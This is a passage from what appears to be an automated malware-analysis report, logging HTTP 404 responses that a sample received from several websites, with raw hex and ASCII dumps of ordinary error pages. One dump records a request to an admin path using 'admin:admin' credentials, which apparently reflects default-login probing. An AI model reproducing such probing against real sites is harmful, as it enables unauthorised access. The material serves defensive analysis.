2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:36 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:36 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:37 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn141.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 72 6f 78 69 6d 61 20 4e 6f 76 61 27 3b 0a 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" cont
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:37 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:37 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:37 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn146.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text/c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:36 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:36 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:37 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn141.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 50 72 6f 78 69 6d 61 20 4e 6f 76 61 27 3b 0a 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" cont
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:37 GMTServer: ApacheSet-Cookie: is_mobile=0; path=/; domain=www.guymassey.comVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:37 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:37 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn146.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 2f 63 64 6e 31 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 64 65 76 65 6c 6f 70 65 72 2f 6e 6f 6e 65 2e 69 63 6f 22 20 2f 3e 0a 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Page Not Found</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noarchive" /><link rel="shortcut icon" href="//cdn1.editmysite.com/developer/none.ico" /><style type="text/c
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:37 GMTServer: ApacheX-ServerIndex: llim603Upgrade: h2,h2cConnection: UpgradeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 65 61 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 6a 70 61 73 63 75 61 6c 2e 63 6f 6d 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 24 52 45 47 49 53 54 52 41 4e 54 31 20 24 52 45 47 49 53 54 52 41 4e 54 32 20 24 52 45 47 49 53 54 52 41 4e 54 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 73 79 73 2e 65 73 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 73 65 67 75 69 6d 69 65 6e 74 6f 22 3e 3c 2f 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 45 73 74 61 20 65 73 20 6c 61 20 70 26 61 61 63 75 74 65 3b 67 69 6e 61 20 64 65 3a 3c 2f 70 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 3e 61 6a 70 61 73 63 75 61 6c 2e 63 6f 6d 3c 2f 68 31 3e 0d 0a 20 20 20 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:37 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.devnetmedia.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 6655Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 52 5d 73 dc 36 96 7d 96 7e 05 44 d7 5a 52 d2 20 5b 2d c9 76 24 b5 52 b3 4e a6 6a b6 92 4c 2a 4e 6a 1f 26 53 29 34 79 9b 84 0d 02 18 00 ec 56 8f e3 ff be 17 20 d9 4d 76 93 b2 9c 4d 66 e7 61 5d 89 9a b8 9f e7 9e 73 ee 4e 32 95 ba 8d 06 52 b8 52 dc 1f df f9 1f 22 98 cc e7 11 48 fa d3 9b c8 c7 80 65 f7 c7 47 77 25 38 46 d2 82 19 0b 6e 1e fd f4 e3 9f e9 ab 68 1b 97 ac 84 79 b4 e2 b0 d6 ca b8 88 a4 4a 3a 90 58 b7 e6 99 2b e6 19 ac 78 0a 34 3c 26 84 4b ee 38 13 d4 a6 4c c0 fc 22 4c 11 5c be 23 06 c4 3c d2 46 2d b9 80 88 14 06 96 f3 a8 70 4e df 24 49 5e ea 3c 56 26 4f 1e 96 32 b9 a8 7b 1c 77 02 ee bf 67 39 10 a9 1c 59 aa 4a 66 e4 f9 b3 57 b3 8b 8b 5b f2 15 ac be 03 f7 2d 64 9c dd 25 75 e5 f1 6e cb 69 26 2d d5 b8 00 5c 5a 9c d6 ab 4e 93 64 89 b0 6d 9c 2b 95 0b 60 9a db 38 55 e5 29 49 9e d0 69 e3 b5 87 b7 57 1c 31 e1 c0 48 e6 f0 1c cf 33 06 b4 16 3c 65 8e 2b 99 18 6b 3f 7f 28 05 a6 3c bc 79 d4 81 4c 9e 1b f6 8f 4a dd 92 3f 03 64 7b 54 ac d7 eb 18 09 95 e0 4a 5f ea 31 26 4b 2c 4b a2 df 7b f9 6b 55 96 a8 a2 7d 2a 8a b4 a9 ef c0 39 3a ba b3 a9 e1 da 35 10 1c 3c b8 e4 2d 5b b1 3a ea 75 3c 3a 5a 73 99 a9 75 fc cb 5a 43 a9 de f2 37 e0 1c 97 b9 25 73 f2 3e 5a 30 0b 3f 19 11 dd 84 c5 f6 e6 e7 e4 e7 96 ec 9f 13 5e a2 f8 f6 67 5c 6c e0 e7 24 34 ff 9c 5c 5c c6 d3 78 fa 73 f2 72 f6 f0 72 f6 73 12 4d 22 dc 89 fd b1 96 39 3e ec 2a ff 6d f3 b0 31 4c c3 df af eb 81 f8 e5 df aa 32 29 44 37 ef 23 74 3d b2 1b da 9a f9 61 fc 00 55 18 d4 94 cb 54 54 99 df f7 d6 86 40 e8 a4 a8 1d e0 d1 71 c9 65 fc d6 7e b9 02 33 bf 8e af e3 8b cb e8 c3 87 5b 4f d7 c9 b2 92 a9 17 f1 0c 26 6c e2 ce df af 98 21 72 62 26 6a c2 e7 38 de 00 82 f8 5a 80 d7 e2 2c 4a 99 44 b6 a3 f3 89 9e f3 38 07 f7 1a 3d 8e 84 3c 7f de 7d 9d 45 b3 2c 3a bf 6d 07 13 8b a3 9b c1 6c fe c6 19 94 23 5e 1a 55 be 2e 98 79 ad 32 b8 d5 71 8a 28 cd 0f 90 ba b3 e9 64 3a e1 f1 9a 67 ae c0 df 02 78 5e 38 5c 17 2f b9 10 3f fa e1 2c f6 ce db 9c b9 82 db 09 9c 63 f9 f4 fc 16 10 8e 53 5f 31 c7 7e fa e1 9b b3 f3 5b 03 ae 32 92 fc f6 c1 ae 1e 3c 81 f9 bc 3f fa c3 f6 ac f4 0c ea a3 dc 21 4f 8d 21 cf 6f 5d 6c 4d 3a c7 fb 51 b4 25 92 ef e2 61 eb 4e 98 27 b0 e9 b7 ff b9 f9 91 e5 df b1 12 ce a2 02 18 92 f9 b7 e9 df 3d 3a 90 d9 eb 82 8b ec cc 21 0e 65 ce d4 fc 4f c6 b0 cd 59 b4 14 cc bb a7 76 cb 39 6e b3 95 d6 ca 38 3b 7f 0f a8 f9 06 6f 92 f9 cd c9 74 b2 7b 7d fd 90 82 76 7f c6 46 8c 7f 98 98 f9 f4 d6 dc a9 58 80 cc 5d 71 6b 3e ff fc 7c 37 e5 6f ea 6f e6 ef 7f 9f ef ac 72 fe 9e 2f cf 4e f4 af bf 9e ec 08 3c af 49 3f b9 b8 b5 6b ee d2 e2 4c c7 fe ca ff 44 fb 09 2e fd cd 4a 47 9e 70 74 c9 3c 7a 31 9d 92 cb 99 7e 20 7f 32 9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Wed, 20 Dec 2023 02:13:30 GMTConnection: closeContent-Length: 53022Data Raw: 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 65 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 34 30 34 3b 68 74 74 70 3a 2f 2f 63 6f 70 79 73 65 74 2e 63 6f 6d 3a 38 30 38 30 2f 69 6e 64 65 78 2e 69 6d 6c 3f 50 41 54 48 5f 31 3d 61 64 6d 69 6e 26 46 55 4c 4c 5f 50 41 54 48 3d 61 64 6d 69 6e 3a 61 64 6d 69 6e 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 20 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 3c 62 61 73 65 20 68 72 